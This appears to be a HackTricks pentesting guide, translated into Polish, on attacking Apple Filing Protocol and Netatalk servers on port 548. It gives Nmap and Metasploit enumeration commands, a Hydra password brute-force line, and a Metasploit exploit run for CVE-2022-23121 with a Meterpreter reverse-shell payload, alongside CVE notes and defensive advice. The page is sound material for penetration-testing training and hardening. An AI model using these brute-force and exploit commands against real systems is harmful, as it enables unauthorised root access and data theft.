548 - Pentesting Apple Filing Protocol (AFP)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

The Apple Filing Protocol (AFP), dawniej znany jako AppleTalk Filing Protocol, jest wyspecjalizowanym protokołem sieciowym wchodzącym w skład Apple File Service (AFS). Został zaprojektowany do świadczenia usług plikowych dla macOS oraz klasycznego Mac OS. AFP wyróżnia się obsługą nazw plików w formacie Unicode, uprawnień w stylu POSIX oraz ACL, resource forks, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.

Chociaż AFP został zastąpiony przez SMB we współczesnych wydaniach macOS (SMB jest domyślny od OS X 10.9), nadal można go spotkać w:

  • środowiskach starszych macOS / Mac OS 9
  • urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…) które zawierają otwartoźródłowy demon Netatalk
  • sieciach mieszanych, gdzie Time-Machine-over-AFP jest nadal włączony

Domyślny port TCP: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeracja

Szybki banner / informacje o serwerze

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Useful AFP NSE scripts:

SkryptCo robi
afp-lsWyświetla dostępne wolumeny i pliki AFP
afp-bruteBrute-force haseł do logowania AFP
afp-serverinfoZrzuca nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM, itp.
afp-showmountWyświetla udziały wraz z ich ACL
afp-path-vulnWykrywa (i może wykorzystać) directory-traversal, CVE-2010-0533

Skrypt NSE do brute-force można łączyć z Hydra/Medusa, jeśli potrzebna jest większa kontrola:

hydra -L users.txt -P passwords.txt afp://<IP>

Jeśli masz już poświadczenia, Nmap’s AFP scripts become much more useful ponieważ afp-serverinfo leaks the advertised UAMs (auth methods), podczas gdy afp-showmount i afp-ls mogą wyliczać dostępne udziały, ACLs i interesujące pliki:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Zwróć uwagę na:

  • Machine Type: Netatalk w wyjściu afp-serverinfo, co zazwyczaj oznacza host NAS/Unix, a nie natywną implementację AFP firmy Apple.
  • UAMs takie jak DHX, DHX2, Cleartxt lub Guest, ponieważ bezpośrednio wskazują dostępne ścieżki logowania oraz czy włączone jest przestarzałe/słabe uwierzytelnianie.
  • Share ACLs z afp-showmount; udostępnienia czytelne dla wszystkich lub w stylu drop-box często ujawniają kopie zapasowe, pliki .appl oraz metadane użytkowników zanim w ogóle zamontujesz wolumin.

Interakcja z udziałami

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (używając afpfs-ng - dostępny w większości distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Po zamontowaniu pamiętaj, że klasyczne resource-forks Mac są przechowywane jako ukryte ._* AppleDouble pliki – często zawierają interesujące metadane, które narzędzia DFIR pomijają.

W przypadku celów Netatalk backend metadanych ma również znaczenie dla możliwości wykorzystania podatności:

  • ea = ad oznacza, że metadane są przechowywane w AppleDouble v2 plikach / .AppleDouble katalogach.
  • ea = sys lub ea = samba przechowuje metadane zamiast tego w rozszerzonych atrybutach systemu plików.
  • W Netatalk 4.2+ stara opcja appledouble została usunięta, a backend jest kontrolowany wyłącznie przez opcję ea.

Z perspektywy ofensywnej pozwala to szybko ocenić, czy błędy związane z AppleDouble będą bardziej osiągalne na serwerze.


Typowe podatności i eksploatacja

Netatalk nieuwierzytelniony łańcuch RCE (2022)

Kilku producentów NAS dostarczyło Netatalk ≤3.1.12. Brak sprawdzania zakresów w parse_entries() pozwala atakującemu skonstruować złośliwy nagłówek AppleDouble i uzyskać remote root przed uwierzytelnieniem (CVSS 9.8 – CVE-2022-23121). Dostępny jest pełny opis przez NCC Group z PoC wykorzystującym Western-Digital PR4100.

Metasploit (>= 6.3) zawiera moduł exploit/linux/netatalk/parse_entries, który dostarcza payload poprzez DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Jeśli cel uruchamia podatny firmware QNAP/Synology, udane wykorzystanie daje shell jako root.

Netatalk OpenSession heap overflow (2018)

Starsze Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza granicami w handlerze DSI OpenSession, co pozwala na nieautoryzowane wykonanie kodu (CVE-2018-1160). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.

Newer Netatalk attack surface (2022-2024)

Najnowsze komunikaty Netatalk pokazują, że attack surface nie jest już ograniczony do parse_entries() i obsługi OpenSession:

  • CVE-2022-45188: specjalnie spreparowany plik .appl może wywołać heap overflow w afp_getappl; jest to szczególnie istotne, jeśli możesz zapisywać pliki na udziale i serwer uruchamia funkcje FCE / notify.
  • CVE-2023-42464: błąd type confusion w handlerach Spotlight RPC może być osiągalny gdy spotlight = yes jest włączone w afp.conf (domyślnie wyłączone).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: jednobajtowe zapisy poza granicami na stercie w ścieżkach związanych z logowaniem naprawione w Netatalk 2.4.1 / 3.1.19 / 3.2.1. Te błędy są interesujące, ponieważ możliwość eksploatacji zależy od skonfigurowanych UAMs:
  • uams_clrtxt.so + PAM-backed ClearTxt login udostępnia ścieżkę FPLoginExt istotną dla CVE-2024-38439.
  • uams_dhx.so + PAM-backed DHX login prowadzi do podatnej ścieżki dla CVE-2024-38440.
  • uams_guest.so utrzymuje dostępną ścieżkę logowania Guest dla CVE-2024-38441.

To oznacza, że wynik afp-serverinfo to nie tylko dane do fingerprintingu; pomaga zdecydować, który login parser jest wystawiony zanim poświęcisz czas na rozwój exploitu lub triage firmware’u NAS.

Inne istotne problemy

  • CVE-2022-22995 – Symlink redirection prowadzące do dowolnego zapisu plików / RCE gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal w Apple Mac OS X 10.6 AFP (wykryte przez afp-path-vuln.nse).
  • W trakcie wydań 2024 Netatalk ponownie naprawiono wiele błędów związanych z bezpieczeństwem pamięci; jeśli zidentyfikujesz Netatalk w afp-serverinfo, poświęć chwilę na skorelację wystawionych UAMs / Spotlight / backendu metadanych z wersją serwera zanim założysz, że istotne są tylko błędy z 2018/2022.

Zalecenia obronne

  1. Wyłącz AFP, jeśli nie jest absolutnie konieczne – użyj zamiast niego SMB3 lub NFS.
  2. Jeśli AFP musi pozostać, zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x, albo zastosuj firmware producenta, który back-portuje patche z 2022/2023/2024.
  3. Wymuś silne UAMs (np. DHX2), wyłącz clear-text i logowania guest.
  4. Ogranicz TCP 548 do zaufanych podsieci i opakuj AFP w VPN, gdy jest wystawione zdalnie.
  5. Okresowo skanuj za pomocą nmap -p 548 --script afp-* w CI/CD, aby wykryć rogue / zdegradowane urządzenia.

Brute-Force

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks